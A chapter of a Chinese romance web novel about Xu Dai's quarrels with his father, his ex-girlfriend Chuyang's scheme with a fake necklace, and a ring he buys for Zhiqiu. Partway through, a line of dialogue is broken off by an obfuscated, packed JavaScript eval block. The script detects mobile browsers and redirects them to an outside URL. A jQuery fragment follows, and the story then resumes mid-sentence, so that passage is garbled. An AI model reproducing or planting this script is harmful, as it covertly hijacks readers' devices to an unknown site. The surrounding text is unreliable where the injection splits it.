徐玳放下电话,若有所思,先前被愤怒冲昏了头,竟忘记了这帮人长久受惠于他,借他们十个胆子,也不敢做出这样的事。
正在徐玳还在思索之际,电话又一次打了进来,他厌烦地举起手机,忽然瞳孔收缩,在铃声响过的几秒内,他深呼吸了几口气,这才将电话接起来。
“爸。”
徐玳声音有点发怯:“怎么了。”
“怎么了。”
对面明显不满,徐书彬的声音一下盖了过去:“我还要问你怎么了。”
“我问你,上班时间你不在,你干什么去了。”
徐玳眼睛瞄向别处:“我——出来一趟。”
“您去公司了吗?”
一听这话,徐书彬声音陡然升高:“我看你是越来越不务正业了,要不是我来了一趟公司,我都不知道这么重要的时刻,你竟然不知去向。”
“你要不想干了,抓紧把位置让出来。”
“我没有——”徐玳无奈,只能安抚父亲,但听到让出来这三个字,他喉咙一紧。
“等等。”
他反问:“让出来,给谁?”
“当然是给你哥哥。”
这个答案,徐玳不奇怪,他偏要再问一问,以获得更明确的答复。
像自虐一样。
“哥哥家业都那么多了,连我这点三瓜两枣都要拿走?”
“正是因为你哥哥家业多,多给他一个,少给一个,那都不碍事。”
徐玳冷笑一声:“呵。”
或许是觉察到徐玳不悦,徐书彬这才缓和下来,他问:“植秋呢。”
“之前我说让你带她回家,你也没带回来。”
“这么久了,我也没听你提起过她。”
徐书彬发问:“你们到底怎么了。”
徐玳心里咯噔一下,嘴角的伤口似乎又开始疼起来,他心虚地抹了下唇角:“最近,出了一点小状况。”
没等徐书彬说话,他很快接茬:“不过您放心,没什么大问题。”
“真的?”徐书彬半信半疑。
萧瑟的冷风似乎贯通了听筒,父子两个都陷入到沉默里,半晌,徐书彬才开口道:“徐玳,你最好像你说的这样,收收心,尽早结婚,我和你妈也放心。”
“植秋这个女孩不错,我知道的。”
人生似乎到了某个节点,就不得不屈从于现实。他徐玳向来混天混地,结婚,似乎离他很是遥远,于他而言,这是一种枷锁,一种镣铐,终结他过往二十几年的好日子。
他厌烦别人提到结婚二字,谁都不例外,可在他彻底失去植秋的这一天,他竟生出一丝悔意,很淡,不易觉察,像在他心头撒了一把图钉,细细密密的疼。
徐玳忽然想到植秋生日的那天晚上,那时她问他,我们什么时候结婚。
徐玳想,如果当初他答应了,他今天会不会有不一样的感觉。
至少,不会是现在这样。
“我晓得了,爸。”
徐玳握着电话的手垂下去,他收了手机,在冷风里点了根烟。缭绕的烟雾驱散他内心的烦闷,他抽了一支又一支。
直到脚边堆了一地猩红的烟屁股,徐玳终于想起来,植秋是不喜欢人抽烟的。
他定了定神,告诉自己,这是最后一次。
电话铃声响起,再次划破他的思绪,他本不想接,可满腔的怒火无从发泄,开头便没好气地说:“什么事情。”
“阿玳。”
对面声音娇软,让他的怒火偃旗息鼓,徐玳看了眼手机界面,这才发现是初阳,他索性直接发问:“你去找植秋了?”
“是啊,去过了。”初阳答应得很是干脆,让徐玳有点意外。
他压下怒火:“你都和她说了什么,做了什么。”
面对徐玳的质问,初阳反而声音更软,飘絮似的:“阿玳,请你相信我,我什么都没有做。”
她说得真切,徐玳心里犯了难,究竟是怎么回事,他分明应该相信植秋的话,认定了是这女人在从中作祟,可听听初阳的话,他原本坚定的心,此时又摇摆不定,忽然,他想到了那条躺在地上的项链,话锋一转,语气再次冷了下去。
“你别演了。”
他说:“那条项链,究竟是怎么回事。”
“项链,什么项链?”
初阳反应了一霎,很快说道:“阿玳,我去看秋姐姐,那也只是因为听说她摔伤了,所以才想着好心去看看。”
“我实在不知道也不清楚,你们到底产生了什么误会。”
初阳声音似带哭腔:“如果有误会,我和你一起去解释一下好吗。”
徐玳心里像泄了气一般,忽然没了力气,即便再追究下去,也只会让他感到好没意思,他第一次感到纠缠在女人中间是一件麻烦事,为什么在与植秋关系破裂前,他没有发觉到呢。
“初阳。”
徐玳声音变得郑重其事:“不管怎样,以前的事情都过去了。”
“况且,我们从来都没有过什么实质性的关系。”
初阳声音有点着急:“难道那时候你说,会永远喜欢我。”
“都是假的吗。”
徐玳说:“当初是真的。”
“可现在不是了。”
“我现在,爱的是植秋。”
对面短暂沉默了几秒,很快响起一阵窸窣擦拭声,初阳在笑着,但明显声音里带着慌乱和啜泣。
“你不用和我说这个啦,我都知道的。”
她吸了口气,徐玳甚至能想象得到她眼前的白雾。
“我也不想做什么,只是想回来和你叙旧而已,你放心,阿玳,我以后,绝对不会再打扰你的。”
“再见,阿玳。”
匆匆说完这句,初阳便挂断了电话,徐玳耳边顿时剩下一串忙音,他深吸了口气,本该如释重负的心,此刻却空落落的,他重新翻回到通讯录,找到了初阳的电话,摩挲了几下屏幕,终究还是没拨回去。
而此刻的初阳,冷着眼神,将手机啪的一下拍到桌子上,女伴张嫣忍不住笑嘻嘻:“怎样,撒娇女神也败北了吧。”
初阳拿起一杯酒,放下杯子,她盯着自己的红指甲,殷红落在黑色的帷幕里,她幽幽说:“我就不信他会就这么放下我。”
“走着瞧好了。”
“是是是。”
张嫣还在笑:“的确没有男人,能轻松过你这一关。”
“除非,是你自己主动放弃,不然,可有他们好果子吃。”
初阳眼中荡过一丝狡黠,与方才绵软判若两人,她晃着酒杯,脸色绯红:“来招惹我,就不要想着轻易离开。”
“不过我也觉得奇怪。”
张嫣话锋一转:“那条项链,到底是怎么回事。”
她只知道一根项链,却不知道这根项链的作用,张嫣全程观摩下来,也不得不佩服初阳,还能这样煞有介事。
“这有什么难的。”
初阳咯咯笑:“现在做A货的那么多,我随手就能买到。”
“我只不过是戴了一条假冒的项链,就能轻易拆穿他们的感情。”
“你觉得,他们之间还剩下什么信任。”
张嫣恍然大悟。
“真是绝啊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497978|180198||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
初阳。”
她不禁咋舌。
“也就你,能想到这样的主意。”
张嫣问:“你做这个,就不怕得到反噬吗?”
初阳耸耸肩,没有说话。
不懂张嫣的话是什么意思,是好,是坏,初阳听罢,没有追究。走出酒馆,她看着迷离的夜色,捻灭了手里的烟,她可不是什么好人,道德底线太高的事情,她做不来。
“只要能获得自己想要的,就是下地狱又如何。”
初阳哧了一声:“况且,我这离下地狱还差的老远呢。”
“徐玳。”
初阳轻轻叹了一声。
“你迟早会回到我的身边的。”
-
徐玳这几天很忙碌,此刻的他,正在上次那家奢侈品店内挑选物品。
他泡在商场里已好多天。
他自嘲,头一次对选礼物这件事如此上心。
经此一遭,徐玳才懵懂有了点意识,过去只知道花钱送人,却不知道精心挑选一件礼物是多么费劲。
以前追女孩的时候,他送什么,女孩便接受什么,他很少会去迎合她们的喜好,而如今,他竟然一改常态,开始真正关心起一个女孩的好恶。
虽说,这个女孩等待这一天,也等待了好多年。
他迎着一排排的展柜看过去,只觉得很多样式夺目却俗套,他迎上了柜姐的目光。
“还有其他的样式吗?”
“您具体想要什么款式呢?”
柜姐介绍:“项链,手链,还有耳环,这些都是女孩子很喜欢的。”
“您都已经看过好几遍了。”
听到项链,徐玳心中生出一股不适,但他下意识想到的第一个人,竟然是初阳,她的影子晃过脑海,徐玳有点厌烦,他低下头,看着那些幽幽灿灿的珠宝。
“最好是能真切表达真心。”徐玳略一思忖,“让人一看到,就知道,我把我的全部真心都拿出来了。”
“那,不妨送这个吧。”
柜姐将徐代引到一排货架前:“这应该是女孩的终极梦想。”
“或者是,最打动她们的了。”
那是一货架的戒指,光芒璀璨,耀眼夺目,徐玳几乎是一眼便看到了那枚戒指。
那枚植秋曾经指过的,对他说,她喜欢的那枚戒指。
他心里咯噔一下。
怎么回事,这么重要的事情,他竟然忘记了。
好在还不算晚。
徐玳便指了指那枚戒指,对柜姐说:“帮我把这个包起来吧。”
“好的。”
又挑了几件别样的衣服首饰,徐玳付过账单,终于拿到了那只小盒子,他将盒子握在手里,开始想象植秋看到它时的样子。
“秋,我买到你喜欢的戒指了。”
他喃喃自语:“你一定会很喜欢。”
“今后你想要什么,我一定都给你,再也不会自作主张了。”
徐玳将东西放到车里,一路开到了医院门口,今天人并不多,停车场里的车稀稀落落,他停好车走下来,拿着那只小盒子,不断的在心头演练即将要说的话。
“秋儿,我觉得,我们还是结婚吧。”
他摇了摇头:“我觉得,我们现在结婚比较好,你不是也很想结婚吗?”
徐玳抬起头,目光无意瞟过去,却发现不远处有两个熟悉的身影。
承淞正推着植秋,往一辆保姆车走过去。
承淞的手,正搭在植秋的肩膀上。
植秋此刻正扬着头,她笑着,看向承淞。
根本没有发觉,徐玳的到来。